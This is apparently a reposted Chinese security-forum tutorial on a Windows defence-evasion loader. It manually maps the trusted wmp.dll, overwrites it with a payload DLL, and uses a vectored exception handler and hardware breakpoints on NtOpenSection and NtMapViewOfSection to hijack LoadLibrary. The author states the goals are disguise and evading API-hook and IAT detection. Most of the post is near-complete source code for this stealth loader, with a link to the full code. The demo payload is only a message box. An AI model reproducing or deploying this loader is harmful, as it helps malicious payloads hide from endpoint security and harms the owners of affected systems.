首页
社区
课程
招聘
[转帖]VEH硬件断点的Ldr劫持技术[一更]
发表于: 6天前 811

[转帖]VEH硬件断点的Ldr劫持技术[一更]

6天前
811

@

目录

(VEH硬件断点的Ldr劫持技术+自主实现GetProcAddress)

原文链接

2f4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9K6c8W2)9#2k6W2)9#2k6X3u0A6P5W2)9K6c8p5#2B7e0e0g2z5g2r3x3J5e0f1c8k6P5p5#2%4i4K6y4p5i4K6y4p5i4K6t1$3j5h3#2H3i4K6y4n7L8h3W2V1i4K6y4p5x3U0b7#2z5o6j5H3y4K6b7H3x3q4)9J5y4X3q4E0M7q4)9K6b7X3W2V1P5q4)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6L8W2)9K6c8o6l9%4y4h3j5K6y4X3c8V1y4K6S2W2k6h3f1#2z5h3j5^5x3K6p5$3y4K6V1%4j5K6b7I4z5e0x3&6x3r3u0V1i4K6t1$3j5h3#2H3i4K6y4n7j5$3S2C8M7$3#2Q4x3@1c8T1x3r3x3I4x3r3c8U0k6o6R3^5z5e0p5K6x3K6j5@1k6U0q4W2x3$3t1H3k6e0t1$3y4e0t1@1y4o6M7^5x3U0g2W2x3K6M7I4x3X3x3K6y4r3f1H3j5h3q4V1k6r3p5%4y4U0g2X3x3K6V1&6z5o6t1^5x3X3f1^5y4K6x3@1y4h3c8T1x3h3t1^5j5e0l9%4x3e0M7I4i4K6t1$3j5h3#2H3i4K6y4n7L8i4m8K6K9r3q4J5k6g2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0K6j5$3g2F1k6g2)9K6c8o6t1K6i4K6t1$3j5h3#2H3i4K6y4n7M7%4u0U0K9h3c8Q4x3@1b7H3x3e0l9$3N6o6y4x3h3r3k6h3N6g2W2K6d9W2W2p5c8i4g2%4f1V1&6s2b7e0k6Q4x3U0k6S2L8i4m8Q4x3@1u0K6K9r3q4J5k6i4u0Q4y4h3k6K6K9r3q4J5k6h3W2F1k6X3!0Q4x3@1c8S2z5e0N6T1j5h3u0W2j5U0W2U0j5U0p5J5k6h3j5&6x3h3k6W2j5$3j5J5z5o6M7H3z5e0m8U0y4r3p5J5k6W2)9J5y4X3q4E0M7q4)9K6b7Y4y4Z5j5i4u0W2M7W2)9#2k6Y4y4Z5j5i4u0W2K9h3&6X3L8#2)9#2k6X3k6A6M7Y4y4@1i4K6y4p5y4h3b7^5x3U0t1H3j5e0p5^5y4K6c8U0y4h3q4T1k6X3x3H3k6e0g2T1z5o6f1I4k6h3u0S2k6e0p5@1k6e0g2Q4x3U0y4J5k6l9`.`.

关于自己实现GetProcAddress的部分可以看我的另一篇551K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3I4W2j5K6t1H3x3U0u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5#2y4U0p5K6y4o6p5K6x3q4)9K6c8Y4y4H3L8g2)9K6c8o6p5H3x3o6q4Q4x3X3f1J5x3o6p5@1i4K6u0W2x3K6l9H3x3g2)9J5k6e0f1#2x3o6p5`.

与原文的不同

原文直接用了ntdll.lib,本文使用了自己实现的GetProcAddress,原理上来说会更加隐蔽,可以绕过一些对于GetProcAddress的内联hook以及对程序IAT的检测。

实现流程

原文中已有对实验原理的介绍,所以在此我只介绍实现流程。

初始化API

通过LoadLibrary和GetProcAddress获取所需的API:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef NTSTATUS (NTAPI* fnNtOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSTATUS (NTAPI* fnNtCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
typedef NTSTATUS (NTAPI* fnNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
typedef PIMAGE_NT_HEADERS (NTAPI* fnRtlImageNtHeader)(PVOID Base);
typedef NTSTATUS (NTAPI* fnNtContinue)(PCONTEXT ContextRecord, BOOLEAN TestAlert);
 
fnNtOpenSection NtOpenSection = nullptr;
fnNtCreateSection NtCreateSection = nullptr;
fnNtMapViewOfSection NtMapViewOfSection = nullptr;
fnRtlImageNtHeader RtlImageNtHeader = nullptr;
fnNtContinue NtContinue = nullptr;
 
VOID InitWinAPI() {
    NtOpenSection = (fnNtOpenSection)GetProcAddress(hNtdll, "NtOpenSection");
    NtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    NtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    RtlImageNtHeader = (fnRtlImageNtHeader)GetProcAddress(hNtdll, "RtlImageNtHeader");
    NtContinue = (fnNtContinue)GetProcAddress(hNtdll, "NtContinue");
}

加载Payload

原文中的代码是加载然后修改了windows的计算器作为payload,本文中是自己写了一个MessageBox然后编译成dll作为payload,原理其实是一样的。

加载wmp.dll

wmp.dll是system32目录下的一个受信任的dll,加载这个dll的目的是掩人耳目。
加载这个dll并非是直接通过LoadLibrary进行加载,而是通过CreateFile加载,然后手动映射到内存中。
读取dll:

1
2
char pWmpPath[] = "C:\\Windows\\System32\\wmp.dll";
HANDLE hWmpHandle = CreateFileA(pWmpPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

手动创建:

1
2
HANDLE hSection = nullptr;
NTSTATUS status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmpHandle);

这里面SEC_IMAGE是设定,要把这个Section当作一个可执行文件来创建,而不是像个文本一样的只读。

手动映射:

1
2
3
PVOID pBaseAddress = nullptr;
SIZE_T ViewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &pBaseAddress, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READWRITE);

在这里一定要用NtMapViewOfSection来映射,不要用VirtualAlloc。主要原因是VirtualAlloc分配的空间是MEM_PRIVATE,在后续的工作中我们需要修改这部分内存的权限的,如果MEM_PRIVATE具备了RWX权限,很容易就会被发现有问题。

清除wmp.dll,写入payload

接下来我们需要清除wmp.dll内的所有的东西,然后把我们的payload写到原来wmp.dll的空间中。这一步有点像是process hollowing。
首先需要修改内存的权限:

1
2
3
4
if (!VirtualProtect(pBaseAddress, dwImageSize, PAGE_READWRITE, &dwOldProtect)) {
    printf("Failed to change memory protection. Error code: %lu\n", GetLastError());
    return -1;
}

清空内存:

1
memset(pBaseAddress, 0, dwImageSize);

把payload.dll写进去:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL MovePayloadToMemory(PVOID pDest, BYTE* pPayloadData, DWORD dwPayloadSize) {
    PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pPayloadData);
    memcpy(pDest, pPayloadData, pNt->OptionalHeader.SizeOfHeaders);
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNt);
    for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        PVOID pSectionDest = (PVOID)((DWORD64)pDest + pSectionHeader->VirtualAddress);
        PVOID pSectionSrc = (PVOID)((DWORD64)pPayloadData + pSectionHeader->PointerToRawData);
        memcpy(pSectionDest, pSectionSrc, pSectionHeader->SizeOfRawData);
        pSectionHeader++;
    }
    return TRUE;
}

这里需要注意一下,文件头和各个Section要分开写。因为我们读取payload的是Filelayout,在内存里必须是Memory layout,这两者之间差了个内存对齐的步骤,但是文件头不用对齐,直接复制过去就行了,各个section需要,所以在读取的时候要用PointerToRawData,写入的时候要用VirtualAddress,这两个在文件头中都有记录的,直接调用就行了。
重定位修复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
VOID FixRelocation(PVOID pMemBase, PVOID pBaseAddress) {
    PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pMemBase);
    ULONGLONG delta = (ULONGLONG)pMemBase - pNt->OptionalHeader.ImageBase;
    if (delta == 0) {
        return;
    }
    //printf("Delta = 0x%llx\n", delta);
    PIMAGE_DATA_DIRECTORY pRelocDir = &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    //DWORD dwFOA = RvaToFoa(pRelocDir->VirtualAddress, pNt);
    PIMAGE_BASE_RELOCATION pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pMemBase + pRelocDir->VirtualAddress);
    //PIMAGE_BASE_RELOCATION pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pBaseAddress + dwFOA);
    for (ULONG offset = 0; offset < pRelocDir->Size; offset = offset + pRelocBaseBlock->SizeOfBlock) {
        pRelocBaseBlock = (PIMAGE_BASE_RELOCATION)((ULONGLONG)pMemBase + pRelocDir->VirtualAddress + offset);
        PBASE_RELOCATION_ENTRY pRelcEntry = (PBASE_RELOCATION_ENTRY)((ULONGLONG)pRelocBaseBlock + sizeof(IMAGE_BASE_RELOCATION));
        ULONG EntryCount = (pRelocBaseBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY);
        for (ULONG i = 0; i < EntryCount; i++) {
            if (pRelcEntry[i].Type != IMAGE_REL_BASED_DIR64) continue;
            ULONGLONG* ullBuffer = (ULONGLONG*)((ULONGLONG)pMemBase + pRelocBaseBlock->VirtualAddress + pRelcEntry[i].Offset);
            *ullBuffer += delta;
            //printf("Relocated Address: 0x%llx\n", *ullBuffer);
        }
    }
    return;
}

这个是最重要的,修复不好程序直接崩溃了,详细的原理我好像写过,在这里就不多介绍了。
接下来需要恢复各个Section的权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
VOID SetProtection(PVOID pMemBase, BYTE* pFileData) {
    PIMAGE_NT_HEADERS pNt = RtlImageNtHeader(pMemBase);
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNt);
    for (size_t i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
         
        PVOID pSectionDest = (PVOID)((DWORD64)pMemBase + pSectionHeader->VirtualAddress);
        DWORD oldProtect = 0;
        DWORD newProtect = 0;
        if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) {
                newProtect = PAGE_EXECUTE_READWRITE;
            }
            else if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) {
                newProtect = PAGE_EXECUTE_READ;
            }
            else {
                newProtect = PAGE_EXECUTE;
            }
        }
        else {
            if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) {
                newProtect = PAGE_READWRITE;
            }
            else if (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) {
                newProtect = PAGE_READONLY;
            }
            else {
                newProtect = PAGE_NOACCESS;
            }
        }
        VirtualProtect(pSectionDest, pSectionHeader->Misc.VirtualSize, newProtect, &oldProtect);
        pSectionHeader++;
    }
}

设置硬件断点,劫持Ldr

之前的步骤都是准备工作,接下来是最重要的部分。
首先我们需要注册一个VEH的异常处理函数。VEH的异常处理在SEH之前,不过自己写的这个也就是个小demo,没有其他的异常处理,横竖都是我们自己注册的这个处理。

1
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)VectoredHandler);

异常处理函数VectoredHandler是我们自定义的,函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
BOOL CALLBACK VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        PCONTEXT ctx = ExceptionInfo->ContextRecord;
        if (gLdrState == LdrState::StateOpenSection) {
            *(PHANDLE)ctx->Rcx = gHandle;
            ctx->Rax = 0;
            BYTE* rip = (BYTE*)ctx->Rip;
            while (*rip != 0xc3) {
                rip++;
            }
            ctx->Rip = (ULONG_PTR)rip;
            gLdrState = LdrState::StateMapViewOfSection;
            SetHardwareBreakpoint(NtMapViewOfSection, ctx);
            NtContinue(ctx, FALSE);
        }
        //else if (gLdrState == LdrState::StateMapViewOfSection)
        else {
            if ((HANDLE)ctx->Rcx != gHandle) {
                return EXCEPTION_CONTINUE_EXECUTION;
            }
            PVOID* baseAddrPtr = (PVOID*)ctx->R8;
            PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38);
            ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48);
            ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50);
 
            if (baseAddrPtr) {
                *baseAddrPtr = gBaseAddress;
            }
            if (viewSizePtr) {
                *viewSizePtr = gViewSize;
            }
             
 
            *allocTypePtr = 0;
            *protectPtr = PAGE_EXECUTE_READWRITE;
 
            ctx->Rax = 0;
            BYTE* rip = (BYTE*)ctx->Rip;
            while (*rip != 0xc3) {
                rip++;
            }
            ctx->Rip = (ULONG_PTR)rip;
            //ULONGLONG ullRetAddr = *(ULONGLONG*)(ctx->Rsp);
            //ctx->Rip = ullRetAddr;
            //ctx->Rsp += 8;
 
            ctx->Dr0 = 0LL;
            ctx->Dr1 = 0LL;
            ctx->Dr2 = 0LL;
            ctx->Dr3 = 0LL;
            ctx->Dr6 = 0LL;
            ctx->Dr7 = 0LL;
            ctx->EFlags |= 0x10000u;
 
            NTSTATUS status = NtContinue(ctx, FALSE);
            if (status < 0) {
                printf("NtContinue failed in VectoredHandler, NTSTATUS: 0x%llx\n", status);
            }
            NtContinue(ctx, FALSE);
        }
         
         
    }
    return EXCEPTION_CONTINUE_EXECUTION;
}

还有设置硬件断点的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BOOL SetHardwareBreakpoint(PVOID address, PCONTEXT ctx) {
    if (ctx) {
        ctx->Dr0 = (DWORD64)address;
        ctx->Dr7 = 1;
        //ctx->Dr6 = 0;
        return TRUE;
    }
    else {
        CONTEXT context = { 0 };
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
        HANDLE hThread = GetCurrentThread();
        if (!GetThreadContext(hThread, &context)) return FALSE;
 
        context.Dr0 = (DWORD64)address;
        context.Dr7 = 1;
 
        if (!SetThreadContext(hThread, &context)) {
            return FALSE;
        }
        return TRUE;
    }
}

这两个连在一起说说。首先是硬件断点,硬件断点只能设置4个,分别用dr0~dr3 4个寄存器记录断点的地址,dr7寄存器用于判断硬件断点是否启用。对我们有用的就这么多,还有其他更详细的介绍可以看看原文。
然后是异常处理函数。异常处理函数分为两个部分,分别用于处理NtOpenSection和NtMapViewOfSection处的异常。LoadLibrary会先调用NtOpenSection,再调用NtMapViewOfSection。这两个函数的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NTSYSCALLAPI
NTSTATUS
NTAPI
NtOpenSection(
    _Out_ PHANDLE SectionHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ PCOBJECT_ATTRIBUTES ObjectAttributes
    );
 
NTSYSCALLAPI
NTSTATUS
NTAPI
NtMapViewOfSection(
    _In_ HANDLE SectionHandle,
    _In_ HANDLE ProcessHandle,
    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _In_ SIZE_T CommitSize,
    _Inout_opt_ PLARGE_INTEGER SectionOffset,
    _Inout_ PSIZE_T ViewSize,
    _In_ SECTION_INHERIT InheritDisposition,
    _In_ ULONG AllocationType,
    _In_ ULONG PageProtection
    );

在调用NtOpenSection的时候,PHANDLE是一个返回参数,作为调用方而言,我调用了这个函数,并且他也返回了一个PHANDLE给我,至于他做了什么工作我也不知道。我们在这里劫持这个函数,把PHANDLE替换成我们之前加载的wmp.dll的PHANDLE,然后直接跳过syscall,假装已经调用完毕并返回。
在调用NtMapViewOfSection的时候,我们主要是要劫持BaseAddress和ViewSize,劫持之后也需要跳过syscall,直接ret。
这样,LoadLibrary以为他加载的dll已经完成了,实际上已经被我们劫持刀了我们自己的代码空间里。

顺便说一句,原文给的代码链接里设置Rax=0给的解释是移除系统调用,我认为这里是有问题的,Rax=0应该是设置返回值为0,代表调用成功。

运行payload

以上过程全部执行完毕之后,我们可以把payload.dll的entry_point加上base,然后转换成一个指针函数直接运行。

1
2
PVOID EP = (PVOID)((DWORD64)pBaseAddress + entry_point);
((VOID(*)())EP)();

源码

73cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6n7L8r3q4U0K9@1W2U0k6e0b7I4y4#2)9J5c8W2k6q4d9p5S2S2j5$3D9`.


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 3天前 被mb_hfjfruhl编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 2525
活跃值: (5095)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
4天前
0
游客
登录 | 注册 方可回帖
返回